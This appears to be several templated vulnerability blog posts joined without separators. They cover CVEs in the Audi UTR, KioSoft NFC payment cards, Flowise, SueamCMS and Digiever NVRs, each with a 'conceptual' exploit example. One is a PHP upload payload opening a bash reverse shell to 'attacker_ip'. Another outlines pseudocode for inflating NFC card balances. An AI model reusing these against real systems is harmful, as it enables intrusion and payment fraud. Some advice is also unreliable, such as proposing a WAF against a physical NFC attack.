Author: Ameeba

Overview

The CVE-2025-45583 vulnerability is a critical security flaw found in the FTP protocol of Audi UTR 2.0 Universal Traffic Recorder. This vulnerability allows potential attackers to authenticate into the FTP service using any combination of username and password, which exposes the system to a high risk of unauthorized access, system compromise, or data leakage.
As a cybersecurity concern that affects all users of the Audi UTR 2.0 Universal Traffic Recorder, it is crucial for all stakeholders to understand this vulnerability, its potential impact, and the steps for mitigation. In the wrong hands, this vulnerability could lead to significant damage, which makes its immediate resolution a top priority.

Vulnerability Summary

CVE ID: CVE-2025-45583
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Audi UTR 2.0 Universal Traffic Recorder | All versions

How the Exploit Works

The exploit works by taking advantage of the incorrect access control in the FTP protocol of the Audi UTR 2.0 Universal Traffic Recorder. The flaw allows an attacker, regardless of the credentials they use, to authenticate into the system. This is because the system does not correctly verify the authenticity of the presented credentials during the login process. Consequently, malicious actors can gain unauthorized access to the system, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual representation of how this vulnerability might be exploited using an FTP client:

ftp target.example.com
> User: any_username
> Password: any_password
> Login Successful

In this conceptual example, `any_username` and `any_password` represent any combination of username and password that an attacker might use. Despite the inaccuracy of these credentials, the system incorrectly grants access, thus demonstrating the vulnerability.

Overview

This blog post delves into the CVE-2025-8699 vulnerability identified in certain “Stored Value” Unattended Payment Solutions offered by KioSoft. This vulnerability stands out due to the potential abuse of NFC (Near Field Communication) cards’ insecure storage of account balances, potentially allowing attackers to manipulate these balances to their advantage. Given the ubiquity of NFC cards in modern payment systems, this vulnerability could have far-reaching implications for individuals and businesses alike.

Vulnerability Summary

CVE ID: CVE-2025-8699
Severity: Critical (9.1 CVSS Score)
Attack Vector: Physical
Privileges Required: None
User Interaction: Required
Impact: Potential System Compromise and Data Leakage

Affected Products

Product | Affected Versions

KioSoft Unattended Payment Solutions | All versions using insecure MiFare Classic NFC cards

How the Exploit Works

The exploit works by manipulating the data stored on the NFC card. The NFC card used in these KioSoft solutions is a MiFare Classic card, which has a known vulnerability where the stored data can be read and written back. By observing changes in card dumps, an attacker can identify the fields storing the cash value and a checksum. The checksum is created by XOR-ing the cash value with an unknown field and a certain value. Once these fields are identified, the attacker can update them to load arbitrary amounts of money onto the card, up to $655.35.

Conceptual Example Code

Given the physical nature of this exploit, traditional example code like HTTP requests or shell commands won’t be applicable. Instead, let’s provide a simplified pseudocode representation of the process:

card_data = ReadNFCData(card)
cash_value_field = IdentifyCashValueField(card_data)
checksum_field = IdentifyChecksumField(card_data)
new_cash_value = ArbitraryValue(up to $655.35)
updated_card_data = UpdateCardData(card_data, cash_value_field, new_cash_value)
updated_checksum = CalculateChecksum(updated_card_data, checksum_field)
WriteNFCData(card, updated_card_data, updated_checksum)

Mitigation Guidance

To mitigate this vulnerability, users are recommended to apply the vendor patch once it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation. These systems can help identify and block attempts to exploit vulnerabilities, providing an additional layer of security in the interim.

Overview

CVE-2025-58434 is a serious vulnerability found in the `forgot-password` endpoint of Flowise, a drag & drop user interface used to build customized large language model flows. In earlier versions, specifically version 3.0.5 and below, this endpoint has been found to return sensitive information, including a valid password reset `tempToken`, without any form of authentication or verification. This vulnerability paves the way for potential attackers to generate a reset token for any user, thereby enabling them to reset the user’s password and take over the account. This vulnerability is especially significant given Flowise’s widespread use in both cloud service (`cloud.flowiseai.com`) and self-hosted/local deployments.

Vulnerability Summary

CVE ID: CVE-2025-58434
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Flowise Cloud Service | ≤ 3.0.5
Flowise Self-Hosted/Local Deployments | ≤ 3.0.5

How the Exploit Works

The exploit takes advantage of the `forgot-password` endpoint in Flowise. As the endpoint doesn’t require any form of authentication or verification, an attacker simply has to send a password reset request for any arbitrary user. The system then returns a valid `tempToken` in the API response, which the attacker can use to reset the password of the targeted user, leading to a complete account takeover.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited, using a simple HTTP POST request:

POST /api/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{
"username": "targeted.user@example.com"
}

In the above example, the attacker sends a password reset request for the targeted user’s account. The server responds with a `tempToken`, which can then be used to reset the user’s password, potentially leading to unauthorized access and a complete account takeover. The actual returned `tempToken` will vary, and the attacker would use it in a subsequent request to reset the password.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being identified and patched regularly. One such recent discovery is CVE-2025-55835, a highly severe File Upload vulnerability found in SueamCMS v.0.1.2. This vulnerability has significant implications for its users, as it allows a remote attacker to execute arbitrary code due to a lack of filtering. This could potentially lead to system compromise and data leakage, posing a significant threat to the integrity and confidentiality of data.

Vulnerability Summary

CVE ID: CVE-2025-55835
Severity: Critical, CVSS 9.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

SueamCMS | v.0.1.2

How the Exploit Works

The vulnerability arises from a lack of sufficient filtering mechanisms in the file upload feature on the SueamCMS v.0.1.2 platform. This lack of filtering allows an attacker to upload a malicious file containing an executable code. Once uploaded, the attacker can remotely trigger this code, allowing them to take control of the system or exfiltrate sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker could exploit this vulnerability:

POST /file_upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, the attacker uploads a malicious PHP script that, when executed, opens a reverse shell to the attacker’s machine, allowing them to execute commands remotely.

Mitigation Guidance

The best practice to mitigate this vulnerability is to apply the vendor-provided patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Furthermore, it is strongly advised to restrict file upload functionality to trusted users only and to implement adequate file type and content filtering to prevent the upload of malicious files.

Overview

In today’s cybersecurity arena, a new vulnerability has surfaced that poses a significant risk to security systems across the globe. The vulnerability, classified under the Common Vulnerabilities and Exposures (CVE) system as CVE-2025-10264, affects certain models of Network Video Recorders (NVR) developed by Digiever. This vulnerability allows unauthenticated remote attackers to access the system configuration file and obtain plaintext credentials of the NVR and its connected cameras. Given the high severity of this vulnerability, understanding it and implementing mitigation strategies is crucial for every organization that uses Digiever NVR models.

Vulnerability Summary

CVE ID: CVE-2025-10264
Severity: Critical (CVSS Score: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Exposure of sensitive information leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Digiever NVR | All versions prior to the most recent patch

How the Exploit Works

The security flaw in the Digiever NVR models stems from an inadequate protection mechanism that allows unauthorized access to the system configuration file. The system configuration file contains plaintext credentials of the NVR and its connected cameras, which, when in the wrong hands, can lead to a full system compromise. The attacker does not need any special privileges or user interaction to exploit this vulnerability. A simple network-based attack can open the door to the sensitive information stored in the system configuration file.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example uses an HTTP GET request to access the system configuration file:

GET /system_config HTTP/1.1
Host: target.example.com

Upon a successful request, the server responds with the system configuration file containing the plaintext credentials of the NVR and its connected cameras.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the latest patch provided by Digiever. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation, while preventing unauthorized access to the system configuration file. However, these measures are merely stopgap solutions, and organizations should prioritize patching their systems to effectively secure their NVRs against this critical vulnerability.